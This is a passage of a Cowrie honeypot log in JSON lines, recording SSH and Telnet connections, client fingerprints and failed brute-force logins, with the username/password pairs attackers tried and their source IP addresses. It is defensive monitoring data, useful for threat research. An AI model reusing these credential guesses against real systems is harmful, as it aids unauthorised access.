sa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:16.504347Z","src_ip":"45.153.34.112","session":"60241c6013fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deneme123","message":"login attempt [root/deneme123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:16.690470Z","src_ip":"170.106.177.3","session":"9a621a409a0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:16.719689Z","src_ip":"43.173.122.127","session":"3f10c6360425","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:16.758513Z","src_ip":"45.153.34.112","session":"60241c6013fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.251.244.178","src_port":32978,"dst_ip":"10.17.0.5","dst_port":22,"session":"2da497f32541","protocol":"ssh","message":"New connection: 106.251.244.178:32978 (10.17.0.5:22) [session: 2da497f32541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:17.748762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:17.753322Z","src_ip":"106.251.244.178","session":"2da497f32541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:17.765161Z","src_ip":"170.106.177.3","session":"9a621a409a0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:17.844831Z","src_ip":"45.153.34.112","session":"60241c6013fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:17.955835Z","src_ip":"106.251.244.178","session":"2da497f32541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"summer","message":"login attempt [root/summer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:18.801628Z","src_ip":"106.251.244.178","session":"2da497f32541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.08518838882446,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:18.935619Z","src_ip":"192.119.13.58","session":"3bf76163419f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:20.007376Z","src_ip":"106.251.244.178","session":"2da497f32541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.104891777038574,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:20.026424Z","src_ip":"192.119.13.58","session":"a7aff1298545","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37702,"dst_ip":"10.17.0.5","dst_port":22,"session":"0720b405fcd9","protocol":"ssh","message":"New connection: 45.153.34.112:37702 (10.17.0.5:22) [session: 0720b405fcd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:20.213560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:20.218612Z","src_ip":"45.153.34.112","session":"0720b405fcd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":36766,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dbbe6ec7ea0","protocol":"ssh","message":"New connection: 170.238.160.191:36766 (10.17.0.5:22) [session: 4dbbe6ec7ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:20.242978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:20.247597Z","src_ip":"170.238.160.191","session":"4dbbe6ec7ea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:20.301238Z","src_ip":"45.153.34.112","session":"0720b405fcd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:20.366764Z","src_ip":"170.238.160.191","session":"4dbbe6ec7ea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz@WSX","message":"login attempt [user1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:20.548592Z","src_ip":"45.153.34.112","session":"0720b405fcd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome12","message":"login attempt [root/welcome12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:20.842093Z","src_ip":"170.238.160.191","session":"4dbbe6ec7ea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51208,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb2e860eb773","protocol":"telnet","message":"New connection: 192.119.13.58:51208 (10.17.0.5:23) [session: fb2e860eb773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:21.638539Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:21.704937Z","src_ip":"45.153.34.112","session":"0720b405fcd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:21.957074Z","src_ip":"170.238.160.191","session":"4dbbe6ec7ea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60542,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b5e993637df","protocol":"telnet","message":"New connection: 192.119.13.58:60542 (10.17.0.5:23) [session: 6b5e993637df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:23.454671Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37718,"dst_ip":"10.17.0.5","dst_port":22,"session":"521e9abad38d","protocol":"ssh","message":"New connection: 45.153.34.112:37718 (10.17.0.5:22) [session: 521e9abad38d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:23.783837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:23.789035Z","src_ip":"45.153.34.112","session":"521e9abad38d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:23.871588Z","src_ip":"45.153.34.112","session":"521e9abad38d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:24.169134Z","src_ip":"45.153.34.112","session":"521e9abad38d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:25.465100Z","src_ip":"45.153.34.112","session":"521e9abad38d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":50152,"dst_ip":"10.17.0.5","dst_port":22,"session":"43d9c6c284ce","protocol":"ssh","message":"New connection: 158.178.141.16:50152 (10.17.0.5:22) [session: 43d9c6c284ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:26.365319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:26.370242Z","src_ip":"158.178.141.16","session":"43d9c6c284ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44678,"dst_ip":"10.17.0.5","dst_port":23,"session":"155846a4fc0a","protocol":"telnet","message":"New connection: 192.119.13.58:44678 (10.17.0.5:23) [session: 155846a4fc0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:26.377496Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":58925,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b5811abc8cc","protocol":"ssh","message":"New connection: 45.66.52.41:58925 (10.17.0.5:22) [session: 9b5811abc8cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:26.555089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:26.560536Z","src_ip":"45.66.52.41","session":"9b5811abc8cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:26.578093Z","src_ip":"158.178.141.16","session":"43d9c6c284ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:26.737448Z","src_ip":"45.66.52.41","session":"9b5811abc8cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":36374,"dst_ip":"159.203.135.109","dst_port":22,"session":"cba9fcc7ec07","protocol":"ssh","message":"New connection: 176.32.39.21:36374 (159.203.135.109:22) [session: cba9fcc7ec07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:27.389524Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#Qwe","message":"login attempt [root/123!@#Qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:27.455359Z","src_ip":"158.178.141.16","session":"43d9c6c284ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01010101","message":"login attempt [root/01010101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:27.534764Z","src_ip":"45.66.52.41","session":"9b5811abc8cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37732,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5323a476d14","protocol":"ssh","message":"New connection: 45.153.34.112:37732 (10.17.0.5:22) [session: b5323a476d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:27.771590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:27.777332Z","src_ip":"45.153.34.112","session":"b5323a476d14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:27.862020Z","src_ip":"45.153.34.112","session":"b5323a476d14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:28.115259Z","src_ip":"45.153.34.112","session":"b5323a476d14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:28.666152Z","src_ip":"158.178.141.16","session":"43d9c6c284ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:28.715306Z","src_ip":"45.66.52.41","session":"9b5811abc8cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:29.202092Z","src_ip":"45.153.34.112","session":"b5323a476d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53552,"dst_ip":"10.17.0.5","dst_port":23,"session":"3acdd067ca1b","protocol":"telnet","message":"New connection: 192.119.13.58:53552 (10.17.0.5:23) [session: 3acdd067ca1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:25:29.227724Z"}
